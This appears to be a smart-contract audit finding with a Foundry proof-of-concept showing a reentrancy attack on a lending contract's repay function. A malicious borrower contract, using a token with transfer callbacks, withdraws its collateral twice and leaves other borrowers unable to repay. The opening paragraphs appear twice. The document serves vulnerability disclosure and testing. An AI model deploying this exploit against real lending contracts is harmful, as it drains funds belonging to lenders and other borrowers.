An example of attack would be a borrower that could multiple-repay his debt by stealing multiple-time the collateral token. The attacker would perform the attack when the collateral value is higher than the lending token value.
In this kind of attack, other borrowers would not be able to repay their debts because the pool accounting variable would underflow when updated and anyway the Lending contract would have less amount of collateralToken needed to execute the repayment operation.
An example of attack would be a borrower that could multiple-repay his debt by stealing multiple-time the collateral token. The attacker would perform the attack when the collateral value is higher than the lending token value.
In this kind of attack, other borrowers would not be able to repay their debts because the pool accounting variable would underflow when updated and anyway the Lending contract would have less amount of collateralToken needed to execute the repayment operation.
The attacker can repay-multiple-times the loan and steal multiple times the collateral amount provided with the borrow operation.
Normal borrowers of the same pool (or pools that use the same tokens) could not be able to repay the operation because of an underflow revert.
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/Lender.sol";
import {ERC20} from "solady/src/tokens/ERC20.sol";
contract TERC20 is ERC20 {
function name() public pure override returns (string memory) {
return "Test ERC20";
}
function symbol() public pure override returns (string memory) {
return "TERC20";
}
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
}
contract WrappedLender is Lender {
function getLoanDebtDetail(uint256 loanId) external view returns (uint256 fullDebt, uint256 interest, uint256 fees) {
Loan memory loan = loans[loanId];
(interest, fees) = _calculateInterest(loan);
fullDebt = loan.debt + interest + fees;
}
function getPoolInfo(bytes32 poolId) external view returns (Pool memory) {
return pools[poolId];
}
function getLoanInfo(uint256 loanId) external view returns (Loan memory) {
return loans[loanId];
}
}
contract BaseLender is Test {
WrappedLender public lender;
TERC20 public loanToken;
TERC20 public collateralToken;
address public lender1 = address(0x1);
address public lender2 = address(0x2);
address public borrower = address(0x3);
address public fees = address(0x4);
function setUp() public virtual {
lender = new WrappedLender();
loanToken = new TERC20();
collateralToken = new TERC20();
loanToken.mint(address(lender1), 100000 ether);
loanToken.mint(address(lender2), 100000 ether);
collateralToken.mint(address(borrower), 100000 ether);
vm.startPrank(lender1);
loanToken.approve(address(lender), 1000000 ether);
collateralToken.approve(address(lender), 1000000 ether);
vm.startPrank(lender2);
loanToken.approve(address(lender), 1000000 ether);
collateralToken.approve(address(lender), 1000000 ether);
vm.startPrank(borrower);
loanToken.approve(address(lender), 1000000 ether);
collateralToken.approve(address(lender), 1000000 ether);
}
function borrow(address _borrower, bytes32 poolId) public {
vm.startPrank(_borrower);
Borrow memory b = Borrow({
poolId: poolId,
debt: 100 ether,
collateral: 100 ether
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
vm.stopPrank();
}
function createPool(address _lender) public returns (bytes32){
vm.startPrank(_lender);
Pool memory p = Pool({
lender: _lender,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 ether,
poolBalance: 1000 ether,
maxLoanRatio: 2 ether,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
vm.stopPrank();
return poolId;
}
function startAuction(address _lender, uint256 loanId) public {
uint256[] memory loans = new uint256[](1);
loans[0] = loanId;
vm.prank(_lender);
lender.startAuction(loans);
}
function seizeLoan(uint256 loanId) public {
uint256[] memory loans = new uint256[](1);
loans[0] = loanId;
lender.seizeLoan(loans);
}
function getPoolId(address _lender) public returns (bytes32) {
return keccak256(
abi.encode(
address(_lender),
address(loanToken),
address(collateralToken)
)
);
}
}
pragma solidity ^0.8.13;
import "./BaseLender.sol";
contract ERC20TransferCallback is ERC20 {
uint256 public constant FEE_BPS = 50;
uint256 public feeAccumulated;
function name() public pure override returns (string memory) {
return "Test ERC20WithFee";
}
function symbol() public pure override returns (string memory) {
return "ERC20WithFee";
}
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal override {
from.call(
abi.encodeWithSignature("beforeTokenTransfer(address,address,uint256)", from, to, amount)
);
}
function _afterTokenTransfer(address from, address to, uint256 amount) internal override {
from.call(
abi.encodeWithSignature("afterTokenTransfer(address,address,uint256)", from, to, amount)
);
}
}
contract BorrowerContract {
address owner;
bool enableAttack;
WrappedLender lender;
uint256 loanIdToAttack;
constructor(WrappedLender _lender) {
lender = _lender;
enableAttack = false;
owner = msg.sender;
}
function borrow(bytes32 poolId, uint256 debtToTake, uint256 collateralToGive) external {
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = Borrow({
poolId: poolId,
debt: debtToTake,
collateral: collateralToGive
});
lender.borrow(borrows);
}
function repayNormal(uint256 loanId) external {
_repay(loanId, false);
}
function repayAttack(uint256 loanId) external {
_repay(loanId, true);
}
function _repay(uint256 loanId, bool _enableAttack) internal {
loanIdToAttack = loanId;
enableAttack = _enableAttack;
uint256[] memory loans = new uint256[](1);
loans[0] = loanId;
lender.repay(loans);
}
function setEnableHack(bool value) external {
enableAttack = value;
}
function beforeTokenTransfer(address from, address to, uint256 amount) external {
if( enableAttack ) {
enableAttack = false;
uint256[] memory loans = new uint256[](1);
loans[0] = loanIdToAttack;
lender.repay(loans);
console.log('reentered repay yessss!');
}
}
function sweep(ERC20 token) external {
token.transfer(owner, token.balanceOf(address(this)));
}
}
contract ERC20ReenterTest is BaseLender {
function setUp() override public {
super.setUp();
}
function testERC20WithCallbacks() public {
address attacker = makeAddr("attacker");
vm.prank(attacker);
BorrowerContract borrowerContract = new BorrowerContract(lender);
ERC20TransferCallback newCollateralToken = new ERC20TransferCallback();
ERC20TransferCallback newLendingToken = new ERC20TransferCallback();
vm.startPrank(lender1);
newCollateralToken.mint(lender1, 10_000 ether);
newCollateralToken.approve(address(lender), type(uint256).max);
newLendingToken.mint(lender1, 10_000 ether);
newLendingToken.approve(address(lender), type(uint256).max);
vm.stopPrank();
vm.startPrank(address(borrowerContract));
newCollateralToken.mint(address(borrowerContract), 10_000 ether);
newCollateralToken.approve(address(lender), type(uint256).max);
newLendingToken.mint(address(borrowerContract), 10_000 ether);
newLendingToken.approve(address(lender), type(uint256).max);
vm.stopPrank();
vm.startPrank(borrower);
newCollateralToken.mint(borrower, 10_000 ether);
newCollateralToken.approve(address(lender), type(uint256).max);
newLendingToken.mint(borrower, 10_000 ether);
newLendingToken.approve(address(lender), type(uint256).max);
vm.stopPrank();
vm.prank(lender1);
bytes32 poolId = lender.setPool(Pool({
lender: lender1,
loanToken: address(newLendingToken),
collateralToken: address(newCollateralToken),
minLoanSize: 1 ether,
poolBalance: 1000 ether,
maxLoanRatio: 2 ether,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
}));
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = Borrow({
poolId: poolId,
debt: 300 ether,
collateral: 300 ether
});
vm.prank(borrower);
lender.borrow(borrows);
uint256 collateralTokenBalanceBefore = newCollateralToken.balanceOf(address(borrowerContract));
uint256 lendingTokenBalanceBefore = newLendingToken.balanceOf(address(borrowerContract));
uint256 debtToTake = 100 ether;
uint256 collateralToGive = 100 ether;
borrowerContract.borrow(poolId, debtToTake, collateralToGive);
uint256 lenderContractCollateralBalanceBefore = newCollateralToken.balanceOf(address(lender));
borrowerContract.repayAttack(1);
uint256 lenderContractCollateralBalanceAfter = newCollateralToken.balanceOf(address(lender));
uint256 collateralTokenBalanceAfter = newCollateralToken.balanceOf(address(borrowerContract));
uint256 lendingTokenBalanceAfter = newLendingToken.balanceOf(address(borrowerContract));
console.log('lcb', lenderContractCollateralBalanceBefore);
console.log('lca', lenderContractCollateralBalanceAfter);
assertEq(collateralTokenBalanceAfter, collateralTokenBalanceBefore + collateralToGive);
assertLt(lendingTokenBalanceAfter, lendingTokenBalanceBefore - debtToTake);
assertEq(lenderContractCollateralBalanceAfter, lenderContractCollateralBalanceBefore - (2 * collateralToGive));
vm.expectRevert();
borrowerContract.repayNormal(1);
uint256[] memory loans = new uint256[](1);
loans[0] = 0;
vm.prank(borrower);
vm.expectRevert(stdError.arithmeticError);
lender.repay(loans);
}
}